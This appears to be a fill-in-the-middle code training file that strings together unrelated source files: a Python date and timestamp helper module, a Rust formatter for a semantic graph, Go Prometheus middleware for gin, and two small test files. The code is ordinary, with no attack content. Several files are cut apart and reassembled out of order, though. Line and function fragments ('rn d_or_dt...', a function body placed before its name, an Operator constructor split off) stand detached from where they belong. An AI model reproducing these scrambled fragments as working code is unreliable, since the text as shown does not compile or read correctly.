#!/usr/bin/env python # -*- coding: utf-8 -*- """ time math calculation. """ from datetime import date, datetime, timedelta try: from .tz import utc, local except: # pragma: no cover from rolex.tz import utc, local def to_ordinal(a_date): """ Calculate number of days from 0000-00-00. """ return a_date.toordinal() def from_ordinal(days): """ Create a date object that number ``days`` of days after 0000-00-00. """ return date.fromordinal(days) def to_utctimestamp(a_datetime): """ Calculate number of seconds from UTC 1970-01-01 00:00:00. When: - dt doesn't have tzinfo: assume it's a utc time. - dt has tzinfo: use tzinfo. WARNING, if your datetime object doens't have ``tzinfo``, make sure it's a UTC time, but **NOT a LOCAL TIME**. **中文文档** 计算时间戳, 若: - 不带tzinfo: 则默认为是UTC time。 - 带tzinfo: 则使用tzinfo。 """ if a_datetime.tzinfo is None: delta = a_datetime - datetime(1970, 1, 1) else: delta = a_datetime - datetime(1970, 1, 1, tzinfo=utc) return delta.total_seconds() def from_utctimestamp(timestamp): """ Create a **datetime** object that number of seconds after UTC 1970-01-01 00:00:00. If you want local time, use :meth:`from_timestamp` This method support negative timestamp. :returns: non-timezone awared UTC datetime. **中文文档** 返回一个在UTC 1970-01-01 00:00:00 之后 #timestamp 秒后的时间。默认为 UTC时间。即返回的datetime不带tzinfo """ return datetime(1970, 1, 1) + timedelta(seconds=timestamp) def to_utc(a_datetime, keep_utc_tzinfo=False): """ Convert a time awared datetime to utc datetime. :param a_datetime: a timezone awared datetime. (If not, then just returns) :param keep_utc_tzinfo: whether to retain the utc time zone information. **中文文档** 将一个带时区的时间转化成UTC时间。而对于UTC时间而言, 有没有时区信息都无所谓了。 """ if a_datetime.tzinfo: utc_datetime = a_datetime.astimezone(utc) # convert to utc time if keep_utc_tzinfo is False: utc_datetime = utc_datetime.replace(tzinfo=None) return utc_datetime else: return a_datetime def utc_to_tz(utc_datetime, tzinfo, keep_tzinfo=False): """ Convert a UTC datetime to a time awared local time :param utc_datetime: :param tzinfo: :param keep_tzinfo: """ tz_awared_datetime = utc_datetime.replace(tzinfo=utc).astimezone(tzinfo) if keep_tzinfo is False: tz_awared_datetime = tz_awared_datetime.replace(tzinfo=None) return tz_awared_datetime def utc_to_local(utc_datetime, keep_tzinfo=False): """ Convert a UTC datetime to current machine local timezone datetime. :param utc_datetime: :param keep_tzinfo: """ return utc_to_tz(utc_datetime, local, keep_tzinfo) def is_weekend(d_or_dt): """Check if a datetime is weekend. """ return d_or_dt.isoweekday() in [6, 7] def is_weekday(d_or_dt): """Check if a datetime is weekday. ""
rn d_or_dt.isoweekday() not in [6, 7]
" retu
mod.rs
//! Semantic graph formatter. #![cfg_attr(feature = "strict", allow(warnings))] use anyhow::{anyhow, Error, Result}; use chrono::SecondsFormat; use crate::{ ast, semantic, semantic::{ types::{MonoType, PolyType, Tvar, TvarKinds}, walk, }, }; #[cfg(test)] mod tests; /// Format a Package. pub fn convert_to_string(pkg: &semantic::nodes::Package) -> Result<String, Error> { let mut formatter = Formatter::default(); formatter.format_package(pkg); formatter.output() } /// Format a semantic graph pub fn format(pkg: &semantic::nodes::Package) -> Result<String, Error> { convert_to_string(pkg) } /// Format a `Node` pub fn format_node(node: walk::Node) -> Result<String, Error> { let mut formatter = Formatter::default(); formatter.format_node(&node); formatter.output() } /// Struct to hold data related to formatting such as formatted code, /// options, and errors. /// Provides methods for formatting files and strings of source code. #[derive(Default)] pub struct Formatter { builder: String, indentation: u32, err: Option<Error>, } // INDENT_BYTES is 4 spaces as a constant byte slice const INDENT_BYTES: &str = " "; impl Formatter { /// Returns the final formatted string and error message. pub fn output(self) -> Result<String, Error> { if let Some(err) = self.err { return Err(err); } Ok(self.builder) } fn write_string(&mut self, s: &str) { (&mut self.builder).push_str(s); } fn write_rune(&mut self, c: char) { (&mut self.builder).push(c); } fn write_indent(&mut self) { for _ in 0..self.indentation { (&mut self.builder).push_str(INDENT_BYTES); } } fn indent(&mut self) { self.indentation += 1; } fn unindent(&mut self) { self.indentation -= 1; } fn set_indent(&mut self, i: u32) { self.indentation = i; } /// Format a file. pub fn format_file(&mut self, n: &semantic::nodes::File, include_pkg: bool) { let sep = '\n'; if let Some(pkg) = &n.package { if include_pkg && !pkg.name.name.is_empty() { self.write_indent(); self.format_node(&walk::Node::PackageClause(pkg)); if !n.imports.is_empty() || !n.body.is_empty() { self.write_rune(sep); self.write_rune(sep) } } } for (i, value) in n.imports.iter().enumerate() { if i != 0 { self.write_rune(sep) } self.write_indent(); self.format_import_declaration(value) } if !n.imports.is_empty() && !n.body.is_empty() { self.write_rune(sep); self.write_rune(sep); } // format the file statements self.format_statement_list(&n.body); } fn format_node(&mut self, n: &walk::Node) { // save current indentation let curr_ind = self.indentation; match n { walk::Node::File(m) => self.format_file(m, true), walk::Node::Block(m) => self.format_block(m), walk::Node::ExprStmt(m) => self.format_expression_statement(m), walk::Node::PackageClause(m) => self.format_package_clause(m), walk::Node::ImportDeclaration(m) => self.format_import_declaration(m), walk::Node::ReturnStmt(m) => self.format_return_statement(m), walk::Node::OptionStmt(m) => self.format_option_statement(m), walk::Node::TestStmt(m) => self.format_test_statement(m), walk::Node::TestCaseStmt(m) => self.format_testcase_statement(m), walk::Node::VariableAssgn(m) => self.format_variable_assignment(m), walk::Node::IndexExpr(m) => self.format_index_expression(m), walk::Node::MemberAssgn(m) => self.format_member_assignment(m), walk::Node::CallExpr(m) => self.format_call_expression(m), walk::Node::ConditionalExpr(m) => self.format_conditional_expression(m), walk::Node::StringExpr(m) => self.format_string_expression(m), walk::Node::ArrayExpr(m) => self.format_array_expression(m), walk::Node::DictExpr(m) => self.format_dict_expression(m), walk::Node::MemberExpr(m) => self.format_member_expression(m), walk::Node::UnaryExpr(m) => self.format_unary_expression(m), walk::Node::BinaryExpr(m) => self.format_binary_expression(m), walk::Node::LogicalExpr(m) => self.format_logical_expression(m), walk::Node::FunctionExpr(m) => self.format_function_expression(m), walk::Node::IdentifierExpr(m) => self.format_identifier_expression(m), walk::Node::Property(m) => self.format_property(m), walk::Node::TextPart(m) => self.format_text_part(m), walk::Node::InterpolatedPart(m) => self.format_interpolated_part(m), walk::Node::StringLit(m) => self.format_string_literal(m), walk::Node::BooleanLit(m) => self.format_boolean_literal(m), walk::Node::FloatLit(m) => self.format_float_literal(m), walk::Node::IntegerLit(m) => self.format_integer_literal(m), walk::Node::UintLit(m) => self.format_unsigned_integer_literal(m), walk::Node::RegexpLit(m) => self.format_regexp_literal(m), walk::Node::DurationLit(m) => self.format_duration_literal(m), walk::Node::DateTimeLit(m) => self.format_date_time_literal(m), walk::Node::Identifier(m) => self.format_identifier(m), walk::Node::ObjectExpr(m) => self.format_record_expression_braces(m, true), walk::Node::Package(m) => self.format_package(m), walk::Node::BuiltinStmt(m) => self.format_builtin(m), _ => self.err = Some(anyhow!(format!("bad expression: {:?}", n))), } self.set_indent(curr_ind) } fn format_package(&mut self, n: &semantic::nodes::Package) { let pkg_name = &n.package; self.format_package_clause(&semantic::nodes::PackageClause { name: semantic::nodes::Identifier { name: semantic::nodes::Symbol::from(pkg_name.as_str()), loc: ast::SourceLocation::default(), }, loc: ast::SourceLocation::default(), }); for (i, file) in n.files.iter().enumerate() { if i != 0 { self.write_rune('\n'); self.write_rune('\n'); } self.format_file(file, false) } } fn format_monotype(&mut self, n: &MonoType) { match n { MonoType::Var(tv) => self.format_tvar(tv), MonoType::Arr(arr) => self.format_array_type(arr), MonoType::Dict(dict) => self.format_dict_type(dict), MonoType::Record(rec) => self.format_record_type(rec), MonoType::Fun(fun) => self.format_function_type(fun), // MonoType::Vector(vec) => self.format_vector_type(vec), _ => self.err = Some(anyhow!("bad expression")), } } fn format_builtin(&mut self, n: &semantic::nodes::BuiltinStmt) { self.write_string("builtin "); self.format_identifier(&n.id); self.write_string(": "); self.format_type_expression(&n.typ_expr); } fn format_type_expression(&mut self, n: &PolyType) { self.format_monotype(&n.expr); if !n.vars.is_empty() { let multiline = n.vars.len() > 4; self.write_string(" where"); if multiline { self.write_rune('\n'); self.indent(); self.write_indent(); } else { self.write_rune(' '); } let sep = match multiline { true => ",\n", false => ", ", }; for (i, c) in (&n.vars).iter().enumerate() { if i != 0 { self.write_string(sep); if multiline { self.write_indent(); } } self.write_string(&format!("{}", c)); } if multiline { self.unindent(); } } } fn format_tvar(&mut self, n: &semantic::types::Tvar) { self.write_string(&format!("{}", &n)); } fn format_property_type(&mut self, n: &semantic::types::Property) { self.write_string(&n.k); self.write_string(": "); self.format_monotype(&n.v); } fn format_dict_type(&mut self, n: &semantic::types::Dictionary) { self.write_rune('['); self.format_monotype(&n.key); self.write_rune(':'); self.format_monotype(&n.val); self.write_rune(']'); } fn format_array_type(&mut self, n: &semantic::types::Array) { self.write_rune('['); self.format_monotype(&n.0); self.write_rune(']'); } fn format_kinds(&mut self, n: &[semantic::nodes::Identifier]) { self.format_identifier(&n[0]); for k in &n[1..] { self.write_string(" + "); self.format_identifier(k); } } fn format_record_type(&mut self, n: &semantic::types::Record) { self.write_string((format!("{}", n)).as_str()); } fn format_function_type(&mut self, n: &semantic::types::Function) { self.write_string((format!("{}", n)).as_str()); } fn format_string_expression(&mut self, n: &semantic::nodes::StringExpr) { self.write_rune('"'); for p in &n.parts { self.format_string_expression_part(p) } self.write_rune('"'); } fn format_string_expression_part(&mut self, n: &semantic::nodes::StringExprPart) { match n { semantic::nodes::StringExprPart::Text(p) => self.format_text_part(p), semantic::nodes::StringExprPart::Interpolated(p) => self.format_interpolated_part(p), } } fn format_property(&mut self, n: &semantic::nodes::Property) { self.format_identifier(&n.key); self.write_string(": "); self.format_node(&walk::Node::from_expr(&n.value)); } fn format_text_part(&mut self, n: &semantic::nodes::TextPart) { let escaped_string = self.escape_string(&n.value); self.write_string(&escaped_string); } fn format_interpolated_part(&mut self, n: &semantic::nodes::InterpolatedPart) { self.write_string("${"); self.format_node(&walk::Node::from_expr(&n.expression)); self.write_rune('}') } fn format_array_expression(&mut self, n: &semantic::nodes::ArrayExpr) { let multiline = n.elements.len() > 4 || n.loc.is_multiline(); self.write_rune('['); if multiline { self.write_rune('\n'); self.indent(); self.write_indent(); } let sep = match multiline { true => ",\n", false => ", ", }; for (i, item) in (&n.elements).iter().enumerate() { if i != 0 { self.write_string(sep); if multiline { self.write_indent() } } self.format_node(&walk::Node::from_expr(item)); } if multiline { self.write_string(sep); self.unindent(); self.write_indent(); } self.write_rune(']'); self.write_string(&format!(":{}", &n.typ)); } fn format_dict_expression(&mut self, n: &semantic::nodes::DictExpr) { let multiline = n.elements.len() > 4 || n.loc.is_multiline(); self.write_rune('['); if multiline { self.write_rune('\n'); self.indent(); self.write_indent(); } let sep = match multiline { true => ",\n", false => ", ", }; if !n.elements.is_empty() { for (i, item) in (&n.elements).iter().enumerate() { if i != 0 { self.write_string(sep); if multiline { self.write_indent() } } self.format_node(&walk::Node::from_expr(&item.0)); self.write_rune(':'); self.write_rune(' '); self.format_node(&walk::Node::from_expr(&item.1)); } } else { self.write_rune(':'); } if multiline { self.write_string(sep); self.unindent(); self.write_indent(); } self.write_rune(']'); self.write_string(&format!(":{}", &n.typ)); } fn format_index_expression(&mut self, n: &semantic::nodes::IndexExpr) { self.format_child_with_parens(walk::Node::IndexExpr(n), walk::Node::from_expr(&n.array)); self.write_rune('['); self.format_node(&walk::Node::from_expr(&n.index)); self.write_rune(']'); self.write_string(&format!(":{}", &n.typ)); } fn format_identifier_expression(&mut self, n: &semantic::nodes::IdentifierExpr) { self.write_string(&n.name); self.write_string(&format!(":{}", &n.typ)); } fn format_statement_list(&mut self, n: &[semantic::nodes::Statement]) { let sep = '\n'; for (i, stmt) in n.iter().enumerate() { if i != 0 { self.write_rune(sep); } self.write_indent(); self.format_node(&walk::Node::from_stmt(stmt)); } } fn format_return_statement(&mut self, n: &semantic::nodes::ReturnStmt) { self.write_string("return "); self.format_node(&walk::Node::from_expr(&n.argument)); } fn format_option_statement(&mut self, n: &semantic::nodes::OptionStmt) { self.write_string("option "); self.format_assignment(&n.assignment); } fn format_test_statement(&mut self, n: &semantic::nodes::TestStmt) { self.write_string("test "); self.format_node(&walk::Node::VariableAssgn(&n.assignment)); } fn format_testcase_statement(&mut self, n: &semantic::nodes::TestCaseStmt) { self.write_string("testcase "); self.format_node(&walk::Node::Identifier(&n.id)); self.write_rune(' '); self.format_node(&walk::Node::Block(&n.block)); } fn format_assignment(&mut self, n: &semantic::nodes::Assignment) { match &n { semantic::nodes::Assignment::Variable(m) => { self.format_node(&walk::Node::VariableAssgn(m)); } semantic::nodes::Assignment::Member(m) => { self.format_node(&walk::Node::MemberAssgn(m)); } } } // format_child_with_parens applies the generic rule for parenthesis (not for binary expressions). fn format_child_with_parens(&mut self, parent: walk::Node, child: walk::Node) { self.format_left_child_with_parens(&parent, &child) } // format_right_child_with_parens applies the generic rule for parenthesis to the right child of a binary expression. fn format_right_child_with_parens(&mut self, parent: &walk::Node, child: &walk::Node) { let (pvp, pvc) = get_precedences(parent, child); if needs_parenthesis(pvp, pvc, true) { self.format_node_with_parens(child); } else { self.format_node(child); } } // format_left_child_with_parens applies the generic rule for parenthesis to the left child of a binary expression. fn format_left_child_with_parens(&mut self, parent: &walk::Node, child: &walk::Node) { let (pvp, pvc) = get_precedences(parent, child); if needs_parenthesis(pvp, pvc, false) { self.format_node_with_parens(child); } else { self.format_node(child); } } #[allow(clippy::branches_sharing_code)] fn format_node_with_parens(&mut self, node: &walk::Node) { self.write_rune('('); self.format_node(node); self.write_rune(')') } fn format_member_expression(&mut self, n: &semantic::nodes::MemberExpr) { self.format_child_with_parens(walk::Node::MemberExpr(n), walk::Node::from_expr(&n.object)); self.write_rune('.'); self.write_string(&n.property); self.write_string(&format!(":{}", &n.typ)); } fn format_record_expression_as_function_argument(&mut self, n: &semantic::nodes::ObjectExpr) { let i = self.indentation; self.format_record_expression_braces(n, false); self.set_indent(i); } fn format_record_expression_braces(&mut self, n: &semantic::nodes::ObjectExpr, braces: bool) { let multiline = n.properties.len() > 4 || n.loc.is_multiline(); if braces { self.write_rune('{'); } if let Some(with) = &n.with { self.format_identifier_expression(with); self.write_string(" with"); if !multiline { self.write_rune(' '); } } if multiline { self.write_rune('\n'); self.indent(); self.write_indent(); } let sep = match multiline { true => ",\n", false => ", ", }; for (i, property) in (&n.properties).iter().enumerate() { if i != 0 { self.write_string(sep); if multiline { self.write_indent() } } self.format_node(&walk::Node::Property(property)); } if multiline { self.write_string(sep); self.unindent(); self.write_indent(); } if braces { self.write_rune('}'); } self.write_string(&format!(":{}", &n.typ)); } fn format_function_expression(&mut self, n: &semantic::nodes::FunctionExpr) { let multiline = n.params.len() > 4 && n.loc.is_multiline(); self.write_rune('('); let sep; if multiline && n.params.len() > 1 { self.indent(); sep = ",\n"; self.write_string("\n"); self.indent(); self.write_indent(); } else { sep = ", "; } for (i, function_parameter) in (&n.params).iter().enumerate() { if i != 0 { self.write_string(sep); if multiline { self.write_indent(); } } // treat properties differently than in general case self.format_function_argument(function_parameter); } if multiline { self.unindent(); self.unindent(); self.write_string(sep); } self.write_string(") "); self.write_string("=>"); self.write_rune(' '); self.format_block(&n.body); self.write_string(&format!(":{}", &n.typ)); } fn format_function_argument(&mut self, n: &semantic::nodes::FunctionParameter) { self.format_identifier(&n.key); if let Some(v) = &n.default { self.write_rune('='); self.format_node(&walk::Node::from_expr(v)); } } fn format_block(&mut self, n: &semantic::nodes::Block) { self.write_rune('{'); let sep = '\n'; self.indent(); self.write_rune(sep); let mut current = n; let mut multiline = false; loop { match current { semantic::nodes::Block::Variable(assign, next) => { self.write_indent(); self.format_variable_assignment(assign.as_ref()); multiline = true; current = next.as_ref(); } semantic::nodes::Block::Expr(expr_stmt, next) => { self.write_indent(); self.format_expression_statement(expr_stmt); multiline = true; current = next.as_ref(); } semantic::nodes::Block::Return(ret) => { if multiline { self.write_rune(sep); } self.write_indent(); self.format_return_statement(ret); break; } } } self.write_rune(sep); self.unindent(); self.write_indent(); self.write_rune('}'); } fn format_identifier(&mut self, n: &semantic::nodes::Identifier) { self.write_string(&n.name); } fn format_variable_assignment(&mut self, n: &semantic::nodes::VariableAssgn) { self.format_node(&walk::Node::Identifier(&n.id)); self.write_string(" = "); self.format_node(&walk::Node::from_expr(&n.init)); } fn format_call_expression(&mut self, n: &semantic::nodes::CallExpr) { self.format_child_with_parens(walk::Node::CallExpr(n), walk::Node::from_expr(&n.callee)); self.write_rune('('); let sep = ", "; for (i, c) in n.arguments.iter().enumerate() { if i != 0 { self.write_string(sep); } self.format_property(c); } self.write_rune(')'); self.write_string(&format!(":{}", &n.typ)); } fn format_conditional_expression(&mut self, n: &semantic::nodes::ConditionalExpr) { let multiline = n.loc.is_multiline(); let nested = matches!(&n.alternate, semantic::nodes::Expression::Conditional(_)); self.write_rune('('); self.write_string("if "); self.format_node(&walk::Node::from_expr(&n.test)); self.write_string(" then"); if multiline { self.write_rune('\n'); self.indent(); self.write_indent(); } else { self.write_rune(' '); } self.format_node(&walk::Node::from_expr(&n.consequent)); if multiline { self.write_rune('\n'); self.unindent(); self.write_indent(); } else { self.write_rune(' '); } self.write_string("else"); if multiline && !nested { self.write_rune('\n'); self.indent(); self.write_indent(); } else { self.write_rune(' '); } self.format_node(&walk::Node::from_expr(&n.alternate)); if multiline && !nested { self.unindent(); } self.write_rune(')'); self.write_string(&format!(":{}", &n.consequent.type_of())); } fn format_member_assignment(&mut self, n: &semantic::nodes::MemberAssgn) { self.format_node(&walk::Node::MemberExpr(&n.member)); self.write_string(" = "); self.format_node(&walk::Node::from_expr(&n.init)); } fn format_unary_expression(&mut self, n: &semantic::nodes::UnaryExpr) { self.write_string(&n.operator.to_string()); match n.operator { ast::Operator::SubtractionOperator => {} ast::Operator::AdditionOperator => {} _ => { self.write_rune(' '); } } self.format_child_with_parens(walk::Node::UnaryExpr(n), walk::Node::from_expr(&n.argument)); self.write_string(&format!(":{}", &n.typ)); } fn format_binary_expression(&mut self, n: &semantic::nodes::BinaryExpr) { self.format_binary( &n.operator.to_string(), walk::Node::BinaryExpr(n), walk::Node::from_expr(&n.left), walk::Node::from_expr(&n.right), &n.typ, ); } fn format_logical_expression(&mut self, n: &semantic::nodes::LogicalExpr) { self.format_binary( &n.operator.to_string(), walk::Node::LogicalExpr(n), walk::Node::from_expr(&n.left), walk::Node::from_expr(&n.right), &MonoType::Bool, ); } fn format_binary( &mut self, op: &str, parent: walk::Node, left: walk::Node, right: walk::Node, typ: &MonoType, ) { self.format_left_child_with_parens(&parent, &left); self.write_rune(' '); self.write_string(&format!("{}:{}", op, typ)); self.write_rune(' '); self.format_right_child_with_parens(&parent, &right); } fn format_import_declaration(&mut self, n: &semantic::nodes::ImportDeclaration) { self.write_string("import "); if let Some(alias) = &n.alias { if !alias.name.is_empty() { self.format_node(&walk::Node::Identifier(alias)); self.write_rune(' ') } } self.format_node(&walk::Node::StringLit(&n.path)) } fn format_expression_statement(&mut self, n: &semantic::nodes::ExprStmt) { self.format_node(&walk::Node::from_expr(&n.expression)) } fn format_package_clause(&mut self, n: &semantic::nodes::PackageClause) { self.write_string("package "); self.format_node(&walk::Node::Identifier(&n.name)); self.write_rune('\n'); } fn format_string_literal(&mut self, n: &semantic::nodes::StringLit) { if let Some(src) = &n.loc.source { if !src.is_empty() { // Preserve the exact literal if we have it self.write_string(src); // self.write_string(&format!(":{}", MonoType::String.to_string())); return; } } // Write out escaped string value self.write_rune('"'); let escaped_string = self.escape_string(&n.value); self.write_string(&escaped_string); self.write_rune('"'); // self.write_string(&format!(":{}", MonoType::String.to_string())); } fn escape_string(&mut self, s: &str) -> String { if !(s.contains('\"') || s.contains('\\')) { return s.to_string(); } let mut escaped: String; escaped = String::with_capacity(s.len() * 2); for r in s.chars() { if r == '"' || r == '\\' { escaped.push('\\') } escaped.push(r) } escaped } fn format_boolean_literal(&mut self, n: &semantic::nodes::BooleanLit) { let s: &str; if n.value { s = "true" } else { s = "false" } self.write_string(s); // self.write_string(&format!(":{}", MonoType::Bool.to_string())); } fn format_date_time_literal(&mut self, n: &semantic::nodes::DateTimeLit) { let mut f: String; let v = &n.value; let nano_sec = v.timestamp_subsec_nanos(); if nano_sec > 0 { f = v.format("%FT%T").to_string(); let mut frac_nano: String = v.format("%f").to_string(); frac_nano.insert(0, '.'); let mut r = frac_nano.chars().last().unwrap(); while r == '0' { frac_nano.pop(); r = frac_nano.chars().last().unwrap(); } f.push_str(&frac_nano); if v.timezone().local_minus_utc() == 0 { f.push('Z') } else { f.push_str(&v.format("%:z").to_string()); } } else { f = v.to_rfc3339_opts(SecondsFormat::Secs, true) } self.write_string(&f); // self.write_string(&format!(":{}", MonoType::Time.to_string())); } fn format_duration_literal(&mut self, n: &semantic::nodes::DurationLit) { // format negative sign if n.value.negative { self.write_string("-"); } // format months let mut inp_months = n.value.months; if inp_months > 0 { let years = inp_months / 12; if years > 0 { self.write_string(&format!("{}y", years)); } let months = inp_months % 12; if months > 0 { self.write_string(&format!("{}mo", months)); } } // format nanoseconds let mut inp_nsecs = n.value.nanoseconds; if inp_nsecs > 0 { let nsecs = inp_nsecs % 1000; inp_nsecs /= 1000; let usecs = inp_nsecs % 1000; inp_nsecs /= 1000; let msecs = inp_nsecs % 1000; inp_nsecs /= 1000; let secs = inp_nsecs % 60; inp_nsecs /= 60; let mins = inp_nsecs % 60; inp_nsecs /= 60; let hours = inp_nsecs % 24; inp_nsecs /= 24; let days = inp_nsecs % 7; inp_nsecs /= 7; let weeks = inp_nsecs; if weeks > 0 { self.write_string(&format!("{}w", weeks)); } if days > 0 { self.write_string(&format!("{}d", days)); } if hours > 0 { self.write_string(&format!("{}h", hours)); } if mins > 0 { self.write_string(&format!("{}m", mins)); } if secs > 0 { self.write_string(&format!("{}s", secs)); } if msecs > 0 { self.write_string(&format!("{}ms", msecs)); } if usecs > 0 { self.write_string(&format!("{}us", usecs)); } if nsecs > 0 { self.write_string(&format!("{}ns", nsecs)); } } // self.write_string(&format!(":{}", MonoType::Duration.to_string())); } fn format_float_literal(&mut self, n: &semantic::nodes::FloatLit) { let mut s = format!("{}", n.value); if !s.contains('.') { s.push_str(".0"); } // s.push_str(&format!(":{}", MonoType::Float.to_string())); self.write_string(&s) } fn format_integer_literal(&mut self, n: &semantic::nodes::IntegerLit) { self.write_string(&format!("{}", n.value)); // self.write_string(&format!(":{}", MonoType::Int.to_string())); } fn format_unsigned_integer_literal(&mut self, n: &semantic::nodes::UintLit) { self.write_string(&format!("{0:10}", n.value)); // self.write_string(&format!(":{}", MonoType::Uint.to_string())); } fn format_regexp_literal(&mut self, n: &semantic::nodes::RegexpLit) { self.write_rune('/'); self.write_string(&n.value.replace("/", "\\/")); self.write_rune('/'); // self.write_string(&format!(":{}", MonoType::Regexp.to_string())); } } fn get_precedences(parent: &walk::Node, child: &walk::Node) -> (u32, u32) { let pvp: u32; let pvc: u32; match parent { walk::Node::BinaryExpr(p) => pvp = Operator::new(&p.operator).get_precedence(), walk::Node::LogicalExpr(p) => pvp = Operator::new_logical(&p.operator).get_precedence(), walk::Node::UnaryExpr(p) => pvp = Operator::new(&p.operator).get_precedence(), walk::Node::FunctionExpr(_) => pvp = 3, walk::Node::CallExpr(_) => pvp = 1, walk::Node::MemberExpr(_) => pvp = 1, walk::Node::IndexExpr(_) => pvp = 1, walk::Node::ConditionalExpr(_) => pvp = 11, _ => pvp = 0, } match child { walk::Node::BinaryExpr(p) => pvc = Operator::new(&p.operator).get_precedence(), walk::Node::LogicalExpr(p) => pvc = Operator::new_logical(&p.operator).get_precedence(), walk::Node::UnaryExpr(p) => pvc = Operator::new(&p.operator).get_precedence(), walk::Node::FunctionExpr(_) => pvc = 3, walk::Node::CallExpr(_) => pvc = 1, walk::Node::MemberExpr(_) => pvc = 1, walk::Node::IndexExpr(_) => pvc = 1, walk::Node::ConditionalExpr(_) => pvc = 11, _ => pvc = 0, } (pvp, pvc) } struct Operator<'a> { op: Option<&'a ast::Operator>, l_op: Option<&'a ast::LogicalOperator>, is_logical: bool, } impl<'a> Operator<'a> { fn new(op: &ast::Operator) -> Operator
fn new_logical(op: &ast::LogicalOperator) -> Operator { Operator { op: None, l_op: Some(op), is_logical: true, } } fn get_precedence(&self) -> u32 { if !self.is_logical { return match self.op.unwrap() { ast::Operator::PowerOperator => 4, ast::Operator::MultiplicationOperator => 5, ast::Operator::DivisionOperator => 5, ast::Operator::ModuloOperator => 5, ast::Operator::AdditionOperator => 6, ast::Operator::SubtractionOperator => 6, ast::Operator::LessThanEqualOperator => 7, ast::Operator::LessThanOperator => 7, ast::Operator::GreaterThanEqualOperator => 7, ast::Operator::GreaterThanOperator => 7, ast::Operator::StartsWithOperator => 7, ast::Operator::InOperator => 7, ast::Operator::NotEmptyOperator => 7, ast::Operator::EmptyOperator => 7, ast::Operator::EqualOperator => 7, ast::Operator::NotEqualOperator => 7, ast::Operator::RegexpMatchOperator => 7, ast::Operator::NotRegexpMatchOperator => 7, ast::Operator::NotOperator => 8, ast::Operator::ExistsOperator => 8, ast::Operator::InvalidOperator => 0, }; } match self.l_op.unwrap() { ast::LogicalOperator::AndOperator => 9, ast::LogicalOperator::OrOperator => 10, } } } fn needs_parenthesis(pvp: u32, pvc: u32, is_right: bool) -> bool { // If one of the precedence values is invalid, then we shouldn't apply any parenthesis. let par = pvc != 0 && pvp != 0; par && ((!is_right && pvc > pvp) || (is_right && pvc >= pvp)) }
{ Operator { op: Some(op), l_op: None, is_logical: false, } }
middleware.go
package ginprom import ( "fmt" "net/http" "regexp" "time" "github.com/gin-gonic/gin" "github.com/prometheus/client_golang/prometheus" ) const namespace = "service" var ( labels = []string{"status", "endpoint", "method"} uptime = prometheus.NewCounterVec( prometheus.CounterOpts{ Namespace: namespace, Name: "uptime", Help: "HTTP service uptime.", }, nil, ) reqCount = prometheus.NewCounterVec( prometheus.CounterOpts{ Namespace: namespace, Name: "http_request_count_total", Help: "Total number of HTTP requests made.", }, labels, ) reqDuration = prometheus.NewHistogramVec( prometheus.HistogramOpts{ Namespace: namespace, Name: "http_request_duration_seconds", Help: "HTTP request latencies in seconds.", }, labels, ) reqSizeBytes = prometheus.NewSummaryVec( prometheus.SummaryOpts{ Namespace: namespace, Name: "http_request_size_bytes", Help: "HTTP request sizes in bytes.", }, labels, ) respSizeBytes = prometheus.NewSummaryVec( prometheus.SummaryOpts{ Namespace: namespace, Name: "http_response_size_bytes", Help: "HTTP response sizes in bytes.", }, labels, ) ) // init registers the prometheus metrics func init() { prometheus.MustRegister(uptime, reqCount, reqDuration, reqSizeBytes, respSizeBytes) go recordUptime() } // recordUptime increases service uptime per second. func recordUptime() { for range time.Tick(time.Second) { uptime.WithLabelValues().Inc() } } // calcRequestSize returns the size of request object. func calcRequestSize(r *http.Request) float64 { size := 0 if r.URL != nil { size = len(r.URL.String()) } size += len(r.Method) size += len(r.Proto) for name, values := range r.Header { size += len(name) for _, value := range values { size += len(value) } } size += len(r.Host) // r.Form and r.MultipartForm are assumed to be included in r.URL. if r.ContentLength != -1 { size += int(r.ContentLength) } return float64(size) } type RequestLabelMappingFn func(c *gin.Context) string // PromOpts represents the Prometheus middleware Options. // It is used for filtering labels by regex. type PromOpts struct { ExcludeRegexStatus string ExcludeRegexEndpoint string ExcludeRegexMethod string EndpointLabelMappingFn RequestLabelMappingFn } // NewDefaultOpts return the default ProOpts func NewDefaultOpts() *PromOpts { return &PromOpts{ EndpointLabelMappingFn: func(c *gin.Context) string { //by default do nothing, return URL as is return c.Request.URL.Path }, } } // checkLabel returns the match result of labels. // Return true if regex-pattern compiles failed. func (po *PromOpts) checkLabel(label, pattern string) bool { if pattern == "" { return true } matched, err := regexp.MatchString(pattern, label) if err != nil { return true } return !matched } // PromMiddleware returns a gin.HandlerFunc for exporting some Web metrics func PromMiddleware(promOpts *PromOpts) gin.HandlerFunc { // make sure promOpts is not nil if promOpts == nil { promOpts = NewDefaultOpts() } // make sure EndpointLabelMappingFn is callable if promOpts.EndpointLabelMappingFn == nil { promOpts.EndpointLabelMappingFn = func(c *gin.Context) string { return c.Request.URL.Path } } return func(c *gin.Context) { start := time.Now() c.Next() status := fmt.Sprintf("%d", c.Writer.Status()) endpoint := promOpts.EndpointLabelMappingFn(c) method := c.Request.Method lvs := []string{status, endpoint, method} isOk := promOpts.checkLabel(status, promOpts.ExcludeRegexStatus) && promOpts.checkLabel(endpoint, promOpts.ExcludeRegexEndpoint) && promOpts.checkLabel(method, promOpts.ExcludeRegexMethod) if !isOk { return } // no response content will return -1 respSize := c.Writer.Size() if respSize < 0 { respSize = 0 } reqCount.WithLabelValues(lvs...).Inc() reqDuration.WithLabelValues(lvs...).Observe(time.Since(start).Seconds()) reqSizeBytes.WithLabelValues(lvs...).Observe(calcRequestSize(c.Request)) respSizeBytes.WithLabelValues(lvs...).Observe(float64(respSize)) } } // PromHandler wrappers the standard http.Handler to gin.HandlerFunc func
(handler http.Handler) gin.HandlerFunc { return func(c *gin.Context) { handler.ServeHTTP(c.Writer, c.Request) } }
PromHandler
f02.rs
// Copyright 2014 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. pub fn decl_x_2()
{ let _x : isize; }
test_prettifier.py
from .prettifier import prettify from .prettifier.common import assert_prettifier_works import pytoml def
(): toml_source = open('sample.toml').read() expected = open('sample-prettified.toml').read() assert_prettifier_works(toml_source, expected, prettify) assert pytoml.loads(toml_source) == pytoml.loads(expected)
test_prettifying_against_humanly_verified_sample
detail.py
